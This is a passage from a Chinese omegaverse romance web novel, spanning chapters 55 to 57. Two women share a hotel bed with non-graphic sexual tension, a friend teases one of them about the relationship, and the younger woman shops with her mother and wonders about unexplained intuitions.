姜映如实说她心里的感受:“不会讨厌,我会觉得你很鲜活,很可爱。” 程卿言歪头看她,颤睫愣了两秒。 鲜活,可爱? 坏东西怎么用如此幼稚的词来形容她,她成熟知性,哪可爱了。 程卿言呵了一身,嫌弃道:“不准说我可爱。” 女人嘴上说着嫌弃,嘴角却扬了起来。 姜映眨眼,看着她笑了一下,乖乖应道:“好。” 笑什么笑。 程卿言抬手掐了掐她的脸,掐一会儿揉一会儿,很快手腕就累了。 奔波劳累了一整天,女人的体力已经透支了,眉宇间有着淡淡的疲倦,姜映见状,问道:“你是不是要休息了?” 程卿言轻点下巴,嗯了一声。 姜映告辞:“那我回房间了,你早点休息。” 程卿言拉住她的手:“你就睡这里。” 姜映愣了几秒,脸上闪过些犹豫。 女人睡眠不好,和她睡一起可以改善睡眠质量,只要女人提出来,她应该毫不犹豫地留下来陪她,这是她上次答应过的事。 即使和女人睡一起会让她感到害羞,她也愿意留下,可她目前还没有理清楚内心的想法,不清楚她对女人是和感情。 如果不是喜欢,她心思坦诚,睡在一起没有关系。 如果是喜欢,她和女人睡着一起,岂不是打着帮助的名号,占了女人的便宜。 即使她标记无能,但她也是alpha,对方这么信任她,毫无戒备地和她睡一起,她不能做这种坏事,不能对不起她的信任。 “我已经定了房间了,好贵的,现在退不了房,如果不住就浪费了。”姜映委婉道。 程卿言点头:“你说的有理。” 姜映眨眼:“你同意我回房间睡?” 程卿言嗯了一声,继续道:“我和你一起过去,睡你的房间,这样就不浪费了。” 哪里是不浪费,是更加浪费了。 女人定的房间比她定的贵上无数倍,去她那睡可能会睡不好,还不如她留下来。 姜映有些纠结,还得再想一会儿。 砰的一声响,远空一朵朵绚烂的烟花在升空绽放,刚好到了零点,步入了新的一年。 热闹,喧哗,钟声回荡。 她们身影映照在玻璃窗上,烟花映照在她们身上,交错融合。 “新年快乐,”程卿言忽然向前一步,动作轻柔地抱着了alpha,在她耳边柔柔道,“新年快乐姜映。” 姜映心跳很快,在她怀疑呼吸有些重,不敢乱动:“新年快乐。” “留下来和我睡行吗,我想你陪着我……” * 柔和的灯光蔓撒在房间每个角落,程卿言懒懒地靠在床头,看着回去拿书包,又重新回到她这里的姜映,来回用时四分钟,比第一次快多了,她勾唇笑了一下。 “你的房费,我会补给你。” 姜映说:“不用了,就当做我免费升了房,我没有浪费。” 心态倒是挺好,程卿言勾了勾手:“过来。” 姜映捏着掌心走过去,程卿言问她:“今晚要给导师发论文吗?” 女人是在指上次要睡一起之前,她因为紧张,为了延迟上床找的理由,姜映鼻尖皱了皱,她还以为她掩饰得很好,原来早就被女人识破了。 程卿言好聪明。 识破她了,也没有戳穿她。 程卿言对她真好。 姜映心里暖呼呼的,眸光澄澈地看了看女人,看着看着自己先害羞了,红着耳朵移开了眼,主动掀开被子,躺在了空着那一边。 程卿言轻笑:“紧张?” “有一点,还好,”姜映在清醒的时候和她睡过一次,有了经验,不会像上次那般紧张不安,“你要睡了吗?” “我还得回几条消息,处理工作上的事情,十分钟内应该可以解决,你困惑了的话就先睡,把灯关掉。” “我不困,我可以等你。” 等她一起…… 这种话真的很容易让人想歪,但alpha的眸光十分干净,正的发邪,哪会有那些心思。 她觉得她即使脱光躺在她怀里,她也只会问她是不是天气太热了,要给她开空调降温。 差点忘了坏东西还有肌肤裸露羞耻症,她可能还没脱光,她就羞到晕厥了。 她怎么喜欢上这坏东西了。 小小年纪就不行了,清心寡欲,中看不中用。 “随你,” 程卿言似怨似嗔地看了她一眼,就没去想她了,看着手机处理起了工作。 姜映眨眨眼:? 她做错的什么吗,搞不懂,片刻后她也拿起手机看起了论文,没看几行字,手机铃声忽然响了起来,是张芸打来的电话,她下意识转头看向女人,问道:“我可以接电话吗?” “你接,不会吵到我。”程卿言没抬头。 姜映应了声好,按了接通。 张芸担心她的安全,特意打电话来问问:“还在和朋友一起跨年吗?” 姜映颤了下眼睫,嗯了一声。 张芸道:“那你们玩,别熬太晚啊,我先睡了。” 姜映道了晚安,电话挂断后,她没有变动姿势,握着手机愣愣地坐着,直到听见身旁传来一声轻微的哼声,她回神,快速转头看过去,见女人眉心拧着:“怎么了?” 程卿言说:“刚才放手机,指甲被挂到了。” 女人的手指很漂亮,平时也精心保养着,十分精致。 这会儿指甲被挂了一块,再深一点点就伤到肉了。 姜映目露担心:“疼吗?” 程卿言:“不疼,把指甲剪掉就行了,你包里有指甲刀吗?” “我放寝室了,没带出来,”姜映起身,“我去楼下的便利店买一把?” 程卿言说:“我先打电话问问秦助理,她带没带。” 秦助理住在同一层楼,如果带了,就不用下楼跑一趟了,女人打电话询问过后,对姜映说:“她没带,她说酒店房间里会提供这些东西,放在抽屉里的,你找一找。” 普通的标间只会提供基础的一次性用品,但程卿言住的是高级套房,房内几乎什么东西都会提供。 姜映嗯了一声,每个抽屉都拉开瞧了瞧,片刻后发现一个白色的小箱子:“是这个吗?” 程卿言:“你打开看看。” 箱子里的东西比较多,姜映打开,首先看见的就是指甲刀。 程卿言把手递给她:“剪吧。” 姜映眨眼,哦了一声,轻轻握着她的手,很乐意帮忙。 她心细手巧,修得很漂亮,不过再漂亮,五个手指中有只有一只没指甲,看起来有些突兀。 她想了想主动问道:“要把其它指甲一起剪了吗?” 女人不喜欢突兀,同意了她的提议。 咔哒咔哒声音响起。 程卿言听着响声,忽然此刻的场景有些奇怪。 深夜,alpha蹲在她身前,给她修剪指甲,细细打磨,修剪好了,贴心的alpha还捏着她的指尖在掌心里搓了搓,觉得有些膈手,又给她修了修,直到变得圆润光滑了才停下。 指甲刀很好用,姜映给她剪好后,顺便也给自己修了修。 程卿言有些热,看着自己的手,又意味深长地看了眼alpha的手。 姜映以为她不满意:“哪不对吗?” “没有,挺好的。”是程卿言的脑子不对劲儿,转移燥热,“你把箱子给我,我看看里面装了些什么东西。” 她平时住酒店,没有注意这些。 姜映也挺好奇的,她没住过高端套房,和女人一起研究起来盒子里的东西,拿起一个包装精美的小盒子,上面好像写的法语,她不认识,认真地瞧了几眼:“这是什么?” 程卿言认识法语,告诉她:“指|套。” “指|套?”姜映没有这个概念,单纯地重复一遍。 程卿言看着她,声音微哑:“你知道怎么用吗?” “不知道,”姜映颤睫,“吃东西用的?” 女人告诉她:“做|爱用的。” 姜映瞬间红了脸,指尖颤抖,盒子落在了床单上。 “想试试吗?” 程卿言呼吸有些灼热,拿起来拆开,取出两片放到alpha掌心,凑道她耳边说:“我可以教你。” 作者有话说: 每日一问,为什么橙总给她两片? 1,随便拿的 2,喜欢2这个数字,吉利 3,喜欢两指*** 4,以上皆是 晚安,明天见《 》 55-60 第56章 抱着 抱着 第五十六章 深夜,躁意骤起。 程卿言作为身心发育成熟的omega,她了解自己的身体,知道她想要什么。 她想要。 此刻。 她很想。 在姜映剪了指甲,又找出一盒指|套时,这种念想在此刻达到了顶峰。 姜映喜欢她,她也喜欢姜映,她们为什么不能做,为什么要忍着? 程卿言很爱自己,她不喜欢让她吃苦受累,如果姜映一直清心寡欲,一直没有那些想法,那她就一直这样忍着? 她得忍到什么时候,坏东西才会开窍有欲念。 她之前的想法是一步步引导坏东西克服性羞耻,循序渐进,她要alpha心甘情愿地为她服务,要alpha求她。 可谁又知道是循序渐进好,还是直接下一剂猛药好。 正如她当初也是怀着厌恶的心态,误打误撞使用了余简予送她的礼物,体验到了身心愉悦的快乐,逐渐克服了对正常生理需求的厌恶。 她能,姜映为什么不能。 程卿言呼吸很热,眸光暗沉,欲念燃烧了理智,嗓音泠然低哑:“想试试吗,我可以教你。” 不管姜映想不想,她很想。 她甚至在想,对方如果不愿意,她就开瓶酒让她喝,醉了的姜映什么都听她的,胆子也很大。 可她看着女生急得泛红的眼尾,无助着急又羞涩的眼眸,不知所措到额头上冒出了细密的薄汗,她的心又慢慢软了下去。 她在干嘛。 她为什么要在这种事情上逼她,明明知道她的性子,明明知道她今夜和家里人闹了矛盾,她怎么也让她为难成这样了。 程卿言闭了闭眼,叹了口气,胸口闷闷的不舒服,她在生气。 既生自己的气,也生姜映的气。 她也不知道她到底是在生气,还是在欲求不满。 程卿言直接躺下,扯起被子严严实实地盖住头,郁闷地说了一句:“睡了。” 躺下去不到一分钟,空气稀薄,她觉得她快窒息了,又踢开被子坐了起来,抬眸看着收拾好小箱子,拿到抽屉放好的女生,她道:“给我拿瓶水过来,谢谢。” 姜映快速给她拿过来,拧开瓶盖递给她,眼位尾还是红的,小心翼翼看着她。 小姑娘眼眸里的情绪有些复杂,不安,为难,害怕,担心…… 程卿言抿了几口水后,轻轻叹了一口气:“你今晚不睡觉了吗?” 姜映抖了一下,立马道:“要睡的。” “那你不上床躺着?” “哦,马上。” 姜映爬上床,伸手关灯,拘谨躺下。 “姐……” “我……” 两人同时开口,又同时停下,默契倒是挺好,程卿言道:“我先说。” 姜映嗯了一声:“你说。” 程卿言体内的躁动已经消了很多,脑子也清醒了:“刚才是我的问题,不该莫名其妙向你发脾气。” 姜映接话:“我没有怪你。” “你当然不能怪我,”程卿言哼了一声,翻身朝着女生的方向继续道,“我是成年女性,我有欲念,得不到满足的时候,偶尔就会心烦气躁,等你到了我这个年纪,应该就懂了我的感受。” 到她的年纪,还有十年,太漫长了。 姜映听得耳朵红红的,嗯了一声。 程卿言:“你刚才想说什么,说吧。” 姜映说:“你是不是很难受?” “什么?” “就是你刚刚说的那个,得不到满…满足……” 程卿言:…… “你问来做什么,你又帮不了我。” 如果是别的事情,姜映可以毫不犹豫地答应她,唯有在这种事情上,她确实很为难。 她从来没有产生过那方面的欲望,自然没有被欲望折磨过,因此她不能感同身受女人的难受,可她很担心,也很着急。 她希望她开心。 在新年的第一天,在女人即将步入三十岁的新年,她希望她开心。 不知道是从哪冒出来的感觉,她莫名感觉这一天是珍贵的,这一年会是悲伤的,充满遗憾的,她好像经历这些悲伤和遗憾,她得努力让她开心。 奇奇怪怪的想法,在这些感觉冒出来时,她的心口好像痛了几下,就像上一次她在女人车里,发现女人情绪不好时出现的那种疼痛,疤痕裂开,鲜血涌出。 但疼痛只持续了几秒,很快就消失了。 姜映轻轻呼了一口气,在漆黑的夜里,低声道:“如果你很难受,很想,我愿意的。” 她愿意的。 如果这件事能让程卿言感到快乐,她愿意的。 alpha的声音很小,可是很坚定,但程卿言听还是出来她的为难,她的迁就,如果是在十分钟前,在她欲念最盛,理智最薄弱的时候,她会顺势答应了,和她做了。 可她这会儿脑子已经清醒了,理智也回来了。 她不能这样。 她喜欢她不是吗,她也不希望她那么为难,至少不该在今晚,在她确定心意的第一晚,急着做这种事。 程卿言说:“你不是有肌肤裸露羞耻症吗?” “可以穿着衣服做吗……”女生声音小小的。 穿着衣服做? 亏她想得出来。 程卿言嘴角扬了一下,又问:“那你的性羞耻呢,你能克服了?” “我…我…努努力应该就能克服了,你不用担心我。” 怎么可能不担心,她又不是要和她做床友,她是喜欢她,不是只想和她睡。 “你睡过来一些,别离我这么远。”程卿言说。 姜映应了声好,往中间移了移,身体和床单摩挲间弄出了窸窸窣窣的声响。 “再过来点。” “哦。” 还是不够近,程卿言没有在原地静静等着,她也往中间移,直到她们挨在了一起,同时颤了一下。 女人发出一声舒服的喟叹,拉起alpha微热的手放在了自己腰间:“抱我。” “抱…抱着做吗……”alpha结结巴巴,紧张得很。 程卿言笑了一声,脸颊贴着女生的颈窝,张嘴在女生锁骨上咬了一口,没怎么用力,轻轻用牙尖磨了两下:“做什么做,谁想和你做了,困了,睡觉。” 什么都不懂的alpha,才刚认识指|套,就敢说抱着做,也是敢说,不考虑自己会不会,怎么不说站着做。 真是。 坏东西。 女人在心里狠狠地吐槽她几句,令她感到安稳的气息和温度包裹着她,很快有了困意,卷翘的眼睫打颤,缓缓合上了,进入了梦乡。 姜映抱着她,嘴角轻轻扬着,像上次那般,在什么也看不见的黑暗中,她看了女人很久。 她感到很满足,很安稳。 她发现女人睡着时的呼吸声很微弱,她下意识伸手探了探她的鼻吸。 有呼吸,活着的。 姜映对此感到安稳,松了口气。 嗯? 活着不是很正常吗,她方才是怎么了。 想了一会儿,她想到了自己很小的时候,睡着了会时不时停止呼吸的回忆,可能是这个原因。 姜映没多想,安安静静抱着怀里的女人,是何时睡着的,她也不知道,再次醒来时,天已经模糊亮了。 “醒了?” 她迷迷糊糊睁开眼,瞧着天花板发愣时,耳边传来一道柔和的声音,她侧眸看过去,程卿言坐在床上,正靠着床头专注地看着手机。 姜映也跟着坐了起来,嗯了一声:“你什么时候醒的?” “比你早十多分钟,”程卿言在回下属的工作消息,边工作边道,“你还要在睡会儿吗?” “不了。”姜映拿起手机看了眼时间,七点二十六分了,她居然睡了这么久,她的生物钟居然失效了。 女人在处理工作,她没有出声闹她,轻手轻脚去了浴室洗脸漱口,几分钟后,她刚走出浴室,听见了敲门声。 程卿言给她解释:“是秦助理,她来给我送今天要用文件,你开门取一下。” 姜映点头,走过去开门,不知道是不是她的错觉,秦助理今天看她的眼神好像特别兴奋,嘴角也一直扬着,好像很开心的样子。 递给她文件时,还看了几眼她的手,夸她的手长的很好看。 很多人夸过姜映的手长的好看,她习以为常了,但是没有谁像秦助理这般夸的那么突然,她不理解地道了声谢谢。 她关上门,拿着文件进了屋。 程卿言见她一脸茫然,问道:“怎么了?” 姜映说:“没什么,就是秦助理她今天心情好像佷好。” 程卿言:? 元旦假期出差加班心情好? 虽然她给的加班费和工资都很高,但秦助理也跟了她几年了,差不多实现了财富自由,几天的加班费也不至于让她心情佷好,难道是加班加魔怔了,精神出现了问题。 等项目稳定下来,步入正规后,她一定会让秦助理休一个长假,带薪休假,好好休息一段时间。 程卿言翻开文件,边看边道:“你今天有什么安排,要回碚城吗?” 姜映嗯了一声:“要回的。” 她的原计划是回来待两天,但家里住不下,她的出现会让张芸和柳絮原发生争吵,所以她打算等会儿约张芸逛逛街,陪她买些新衣服,下午就回碚城。 程卿言:“你昨天什么时候到的家?” “傍晚六点过那会儿。” 那么迟回来,在家里待了一小会儿,就来酒店睡了一晚,今天就返回碚城。 程卿言想到了昨晚见着她时乱糟糟的可怜样,又心疼了。 这么懂事,不发脾气的人,能和家里人闹出什么矛盾,家家都有本难念的经。 她放下文件,起身走过去,站在她更前,微微抬头和女生对视着。 “怎么了?”女生问她。 程卿言柔声说:“想抱一抱,可以吗?” 姜映脸颊微红,深呼一口气,在她点头嗯了一声时,omaga伸手保住了她,下巴放在她肩膀上,脸颊轻轻蹭着她的脖子,女生轻轻唤着她:“姜映啊。” “嗯?” “姜映。” “嗯。” 姜映的心跳很快,她能感受到女人身体的柔软,也能感受到女人的心跳,虽然没有她快,很平稳地跳动着,但是很有鲜活,充满生命力,像充满希望的晨熹,不经让人眼眸发酸,有种想流泪的感觉。 姜映心口发颤,不知道她这是怎么了。 程卿言只抱了一会儿,松开是瞧见她泛红的眼位,指尖落上去轻轻抚了抚,轻笑一声。 只是抱一抱都羞得红了眼,昨晚是怎么敢给她说抱着做的,她若是答应了…… 她想象了一下场景,这人只怕得哭出来,边哭边做,她大概还得教,她还没湿,女生的泪水已经淋湿了她。 唉。 怎么就喜欢上这个小姑娘呢。 真是气人。 “我得换衣服,准备出门了。”程卿言今日行程很忙,事情比较多。 姜映嗯了一声,拿起书包:“那我回自己房间了。” 程卿言点头:“别忘了吃早餐。” 姜映朝着她笑了一下,乖乖道:“我回吃的,姐姐再见。” 她走到门口,掌心落在门把手上往下拧时,又回头看了看女人,只见女人依旧站在方才的位子看着她,在对视上那一秒,心跳快了一拍,又说了一声再见,才走出了房间。 刚走出去,和余简予碰个正着。 余简予吓一跳,缓了缓,定睛打量她,好像不敢相信自己看见的:“姜映?” 姜映嗯了一声,脸上的红晕还没消息,礼貌打招呼:“余小姐早上好。” “早上好。”余简予应声。 姜映又说:“余小姐你忙吧,我先走了,余小姐再见。” “再见。” 余简予看着她走得飞快的背影,十分纳闷,又转身看房号,她没走错啊,姜映为什么会在早上从程卿言的房间走出来? 皱眉,思索,松开,眼睛一亮。 有奸|情! 快速敲门,在程卿言开门后,她径直略过程卿言,兴奋地走向床的位子,认真的看了几眼。 一米八的床两边都有睡过的痕迹,枕头也一样,都有明显的睡痕,她还从枕头上拿起了一根黑色发丝,明显不是程卿言头发的颜色。 余简予笑了一声,转身看着一脸淡定的女人:“解释吧,怎么回事。” 程卿言已经换好了衣服,双手环胸:“解释什么?” “姜映为什么在这里?” “她家就在云县,她放元旦回来了,她说她家里来了客人住不下,就来酒店住了,正好就碰见了,”程卿言提起包,“你放心,我可不是那种不务正业的人,出差都得带着小情人。” 这话阴阳怪气的,指的就是余简予,从前余简予谈恋爱的时候,热恋期舍不得和女友分开,出差得带着,黏糊得很。 余简予微微尴尬地哈哈笑了一下。 “走了,出门工作了。”程卿言往外走。 余简予跟上她,出了酒店上了车,反应过来不对劲儿了。 方才程卿言说什么,小情人? 而且就算在酒店遇见,也是各自睡各自的房间,为什么睡到一张床上了。 余简予质问,直接说了这些破绽,她可不是好糊弄的,又问:“你之前不是说你们是纯洁的提供信息素的关系吗,哪纯洁了,什么时候搞到一起的?” 没有隐瞒的必要,程卿言颤睫,告诉她:“之前确实是纯洁的服务关系,没有骗你。” “现在呢?” “如果我没感觉错,我喜欢她。”程卿言的语气很认真。 余简予微微震撼于她的认真,她以为只是肢体上的喜欢,呼了口气,也收了打趣八卦之心,认真问道:“什么时候的事?” 程卿言:“就是最近产生的这个念头。” “那姜映呢,她对你是什么感情?” “她肯定喜欢我,这还用问?”程卿言的语气很傲娇。 余简予切了一声:“那你们这是已经挑明,确认恋爱关系了?” “没有。” “嗯?” 程卿言:“她没给我说她喜欢我。” 就姜映那性子,那么害羞腼腆,肯定得忍一阵儿,既然人家都不说,那她也不说,她凭什么要先说,她才不惯着坏东西。 这种傲娇的做派很程卿言,余简予不觉得奇怪:“如果她一直不说,你能忍得住一直不说?” 程卿言嗯了一声:“我不着急在一起,我想等一等。” 余简予问:“为什么?” 程卿言缄默几息,眉心轻轻颤了颤,缓缓道:“简予,治疗信息素紊乱的特效药还没成功。” 即使在最后的试药阶段了,即使第一周期的各项数据显示良好,依旧不算成功。 最多半年,半年内一切都有答案,她得再等等。 等尘埃落定了,等她没有后顾之忧了,才是谈论喜欢的好时候。 如果她对姜映不是喜欢,仅仅是身体的欲念,她可以不考虑这些,但她喜欢她,她得考虑她的情况。 再者,目前她的精力有限,已经大不如前了,她还得忙科技园项目的事,没有时间去兼顾情情爱爱。 与其这样,不如等一等,最快一两个月就能知道结果,生存或是灭亡,总得有个答案。 她不喜欢不明不白,有了答案,才好做决定。 更何况坏东西也没给她表白,她急什么急。 余简予一愣,心脏猛地痛了几下 她作为程卿言最亲近的好友,她知晓她这些年一直很有信心,坚信药物研制会成功,即使病发期已经到了医学案例中的最后一年,依旧云淡风轻,依旧自信,好事从没把这件事放在眼里。 她之前看她不用抑制剂,硬抗的时候,虽然会很心疼,但由于对方的自信,她也跟着自信起来,没有过分地担心。 可是没人能保证特效药百分百会成功,如果失败…… 余简予眼睛一红,眼泪顿时冒了出来。 程卿言:…… 扯了张纸巾给她。 “你哭什么,我还活着。” 余简予眼泪止不住,擦了一堆纸巾,不只是难过,还有浓浓的自责,对方并没有那么云淡风轻,也是会担心,会害怕,可她都没有察觉到。 程卿言叹气,也不劝她了,直接把一整包塞到她怀里,让她慢慢哭。 几分钟后,余简予吸了吸鼻子,缓了过来,等会儿还得工作见人,她用湿巾擦了脸,又给自己补了补妆,遮住了眼位的红,恢复了人样。 程卿言笑了一声:“我应该把刚才的事录下来。” 余简予:…… “谢谢你心好,没有录我。” “不客气,”程卿言想了想又道,“你也别多想了,会没事的。” 余简予坚定地嗯了一声,她也不敢开口劝说她不要等,现在就去享受恋爱的美好,和姜映好好谈恋爱。 因为那样好像是在完成最后的愿望,没有以后了…… 不可以的。 程卿言还有很多事情没做,必须有很多个以后。 余简予深呼一口气,不想让自己低落的情绪影响了心里本就有着忧愁的程卿言,她开了瓶苏打水喝了几口,冰凉感冻得她一激灵,缓了过来后又是乐哈哈的模样,开始八卦:“你们昨晚是不是做了?” 程卿言呵了一声:“你看我像是做了的样子吗?” 早上起这么早,眉间也没有事后的倦意,脖子上也没有任何痕迹,看样子确实不像,余简予震惊:“躺在一起睡素觉,不是,程卿言你这么纯爱啊?” 程卿言再呵了一声:“姜映她不行。” 余简予瞳孔放大,咳嗽几声,又喝了几口苏打水压压惊:“真的?” 程卿言:“真的。” 余简予用怜爱的眼神看着她,好不容易喜欢一个人,却是个不行的,漫漫人生可怎么熬呀。 看来她的好友对姜映也是爱惨了,若是换做她,她可受不了和不行的alpha谈恋爱。 苦了程卿言了。 她以后会多给程卿言送小玩具的。 余简予认真地琢磨着,安慰她道:“人不行,咱就用科技。” 程卿言看着她扬起的嘴角:“你想笑就笑,别憋坏了。” 余简予哈哈哈笑出声:“不是,姜映这么年轻,为什么不行啊,要不带她去看看中医,多吃点滋补的东西。” “或者你勾引她试试,在她面前穿性感点,刺激刺激她,说不准确她就行了。” 程卿言瞥她一眼,有点无语:“我像是会做这种事情的人?” 她可不是这种人。 她才不会这样。 不成体统。 余简予想了想:“好吧,你不是。” 聊了会儿天,有人给余简予发了工作消息,也没多聊了,她垂眸看着手机屏幕,处理起了工作。 车里安安静静,淡淡青竹香氛絮绕着。 程卿言侧眸,透过车窗看了过儿云县的城市面貌。 坏东西长大的家乡。 片刻后她也拿起了手机,点进购物软件,认真地搜索起了性感内衣,性感睡裙,下了十几单。 作者有话说: 橙总:喜欢上不行的人,呵,谁懂 小姜():我又要有礼物啦 (小姜和橙总都在为对方考虑,磨一磨就行了) (今天发红包吧) 晚安,明天见 第57章 很想 很想 第五十七章 姜映离开酒店时给张芸发了消息,约她逛街。 二中在放元旦,张芸有假期,正好今日上午没有学生要补课,就答应了。 姜映坐公交到了小区门口,等了几分钟,瞧见张芸走了出来。 张芸笑着看着她:“等了多久了?” “我也刚到,”姜映主动帮她拿包,“希未没有说要和你一起出来吗?” 张芸:“怎么没有,就是她缠了我一会儿,我才出来晚了。” 姜映和她肩并肩走着:“她若是想出来,可以带她的。” “不带她,马上要考试了,让她在家好好写作业,就我们两个逛。” 张芸说话时侧眸看了看已经比她高了很多的大女儿,心里一阵恍惚,忽觉时间过得好快,不知不觉中,当初大家都说活不下来的孩子,已经长这么大了。 她还记得怀姜映那几个月,因为胎不稳,进了几次医院,当时医生告诉她孩子可能保不下来,让她做好心理准备,那几个月她和姜兴蕴过得提心吊胆,姜映也很坚强,平安地出生了。 可安稳日子没过几天,便检测出腺体存在基因缺陷,除此持外,身体状况也很糟糕,经常感冒发烧,停了呼吸,医院检查不出病因。 好在大了一些,姜映的身体突然就长好了,变得比正常小孩要好很多,当时她的工作也稳定了,不再那么忙,她可以好好陪陪她。 但是柳希未又检查出来先天性心脏病,生命垂危,全家又开始繁忙起来,工作存钱照顾柳希未,给柳希未做手术,没有一天闲着。 姜映就这样安安静静地长大了,明明一直在她身边,她的记忆好像恍惚一般,不知道她是怎么长大的,她的长大没有发出任何声音。 张芸眸光颤动,这些年她很少这样陪着姜映出来逛一逛,伤感和内疚在心中蔓延。 姜映察觉到她的异样,关心道:“怎么了?” “没什么,”张芸摇头,将这些情绪压了下去,“就是想到些以前的事,我每次给你开家长会,都是被别的家长羡慕的对象,你的奖状和证书一摞一摞地往家里搬,邻居都羡慕我有这么一个乖女儿。” 姜映眨了眨眼:“妈妈你夸张了,我也不是一直很乖,也有任性的时候。” “你是说高考填志愿的事?”张芸笑了一声。 姜映点头,嗯了一声。 姜映高考成绩很好,将近满分,排名进了全省前五,全国的高校她可以任选,专业也可以任选。 碚城大学属于顶尖学府,综合排名第一,对很多优秀学生来说是首选,但对姜映而言不是。 她其实应该去东城大学,东大综合排名虽然比碚大要低一些,实力却不相上下,而且姜映选择就读的专业,属于东大的王牌专业,专业能力全国排名第一。 姜映从小就很沉稳,她也知晓去东大,其实是更好的选项,张芸和柳絮原作为中学老师,常年处理学生升学的事,经验丰富,也建议她选东大。 可是那一阵姜映不知道怎么了,很固执地不听所有人的劝说,坚定地要去碚大,不是因为钟情于碚大,而是想去碚城,才选择了碚大。 张芸和柳絮原劝了她,她的班主任也劝了她,都不管用。 她填的所有志愿,都选在了碚城。 当时柳絮原还悄悄和张芸说,是不是因为姜家在碚城的缘故,姜映大了想和姜家联系了。 张芸也问过姜映原因,她还记得当时她迷茫却坚定的眼神,她说:“我不知道,只是感觉那里有种熟悉的吸引力,我得去看看,我必须去,你们不要劝我了。” 时隔四年,姜映也快大学毕业了,再次提起这事,姜映依旧说不清她想去碚城的原因,但她从不后悔自己的决定。 若是当初她选择了东大,没去碚城,她可能会后悔一辈子,她有这种直觉。 张芸说:“你从小就有懂事有分寸,无论你怎么选,肯定有自己的理由,现在不知道,未来肯定会给你答应。” 姜映点头,她认同她说法。 居住的小区离商场不远,她们没有选择坐车,慢悠悠地走过去,一路聊着过往家常。 张芸道:“对了,上次我给你提过老房子拆迁的事,不是谣言,最近已经在落实,好像要建科技园,政府和相关企业已经开始派人来谈拆迁款的事了,你多留意一些。” 云县的老房子和碚城的旧楼房都属于张芸妈妈张春雨的资产,也就是姜映外婆的资产。 张春雨离世时,将这两处房产都留给了姜映,未来是住是卖都由姜映自己决定。 姜映想了想道:“我对拆迁没有意见,你和柳阿姨去谈就可以了,拆迁款不用给我,直接打到你们的账户上就行了。” “这是你外婆留给你的房子,我们不能要。”张芸说。 姜映说:“给希未做手术。” 张芸顿了几秒,终究是无法拒绝:“那我们只拿做手术那部分钱,剩下的你得收着。” 姜映嗯了一声,暂时没和她争,但她不准备要这笔钱,如果做完手术有剩下的,她到时候会劝说张芸她们拿去换一套大一点的房子,改善生活,不要再过得那么辛苦了。 她有碚城那套老房子落脚就足够了,而且她已经长大了,有手有脚能挣到钱,她的物欲也不高,钱给了她,她也无处花。 张芸不知道她心中所想,和她聊着目前拆迁的进度,她们好说话,只要拆迁款合理,就同意拆迁。 但那些在那居住了一辈子的老人家,钱已经对她们没了意义,不会轻易答应的。 到了商场。 姜映陪着张芸挑选几套衣服。 张芸样貌很优越,气质也很好,只不过这些为生活所奔波,没有时间和精力去细致打扮,才显得普通了些。 姜映的眉眼就是遗传了她,在张芸换上新衣服时,稍稍打扮后,导购还以为她们是姐妹。 张芸笑得合不拢嘴,姜映在一旁看着,嘴角也扬了起来。 午饭没有回家吃,在商场吃的酸汤鱼,饭后没有再逛下去,张芸下午得去给学生补习了,道别后打车离开了商场。 姜映没有急着去汽车站,在街边站了一会儿,眨了眨眼,犹豫片刻又返回了商场,往销售内衣的区域走去。 昨夜程卿言借给她穿的底裤是全新的,她穿过之后,即使洗干净了也不可能再还给她,那样像什么话。 在陪张芸买衣服时,她瞧见了商场里正好有同品牌的内衣店,她得买一条全新的还给女人。 姜映平日的内衣裤都是网购的,价格不贵。 程卿言身上的每一个物件,即使是小小的发圈,对姜映而言也不算便宜,好在这家内衣店她还能消费的起,没有到她承当不起的地步,她走了进去。 导购迎了上来,热情而礼貌地询问她是否需要帮忙。 姜映认真看了看,没有找到相同的,于是她给导购描述了她想买的款式。 导购职业能力强,听了她的描述,很快给她找出了照片:“是这一款吗?” 姜映:“对的。” “不好意思女士,这一款属于圣诞限定款,在前两天就停止销售了,”导购给她解释过后,又介绍道,“要不您看看昨天刚上市的新款,和您想要的买一款属于同一个系列。” 既然停止销售,姜映只能挑别的:“我看看。” 导购给她取下新款,详细地给她介绍了面料以及设计巧思,姜映认真听着,款式看起来和女人给她的那一条是同一种类型,女人应该会喜欢的,她买东西不纠结:“就这款,麻烦你给我包起来。” 导购微笑应好,问了她需要的尺码。 姜映报了底裤的尺码,她昨天穿的时候瞥了一眼。 “那内衣呢?”导购又问。 “还有内衣吗?” “您方才想要的那一款和现在这款都属于套装,必须搭配起来售卖,”导购热情道,“如果您不太确认尺码,可以试一试。” 姜映摇头:“我是买来送人的。” “如果方便的话,您可以发消息问问她呀。” 问,问程卿言穿多大的内衣吗。 姜映脸颊微微泛起了红,觉得很羞耻,她哪里好意思问出口。 导购经验丰富,什么样的消费者都接待过,瞬间瞧见了她脸上泛的红,嘴角微微扬了扬,心里有了估量,这位年轻的顾客应该是买来送心上人的,但不清楚心上人的尺码,可能是想送惊喜礼物,又不能开口问。 她给她想办法:“要不您用手比一比,我看了应该能估计出尺码。” 比一比? 姜映脸更红了,脑子热热的,下意识说出一句:“不了,麻烦你拿一件75c。” 说了之后她自己也愣了一下,她为什么会报出这个尺码,她又没有问程卿言。 原来知道尺码啊,只是害羞了不好意思说,导购点头应好,给她取出来,速度很快地给她包装了。 姜映扫码付钱,一大笔钱。 导购问道:“您还需要看一看别的吗?” “不用了。” “好的,欢迎下次光临。” 姜映提着袋子走出了商场,坐公交去了汽车站,直到坐上车出了城,她还在想,在买内衣时,脑子里为什么会突然跳出内衣尺码,并且意识就说了出来。 她说的是程卿言的尺码吗? 她不知道。 她很想求证。 求证她脑子里突然冒出来的这些信息是不是和程卿言有关。 姜映颤了颤眼睫,拿出手机点进了和程卿言的聊天界面,指尖微热,刚打几个字,脸就红了起来,羞涩到有些热热的。 她不好意思问出口。 纠结了几分钟,最后红着一张脸退出了聊天界面,终究问不出口。 长睫轻轻颤动,姜映叹了一口气,玻璃窗上映照出她模糊的面容,各种令她困惑的情绪在她眼眸中交错着。 除了思考她到底喜不喜欢程卿言,她还在想她面对程卿言时,为什么会出现那么多奇怪的思绪。 会认为昨夜是极其珍贵的,觉得女人平稳有力的心跳声是让她热泪盈眶的,她为此而感到安稳,她别无所求。 她好像也没有别的欲望,女人能出现在她眼前,她能听见她的呼吸,感受到她的温度,心里已经很满足了。 为什么? 姜映不知道这些感觉从何而来,就像当年她坚定要去碚城上大学一样,她无法解释缘由。 无人能给她解答困惑,她想到了系统,或许系统可以,可联系不上它,她不知道连接密码是什么。 她已经试了很多次了,将所有对她而言有意义的数字都试了一遍,毫无反应。 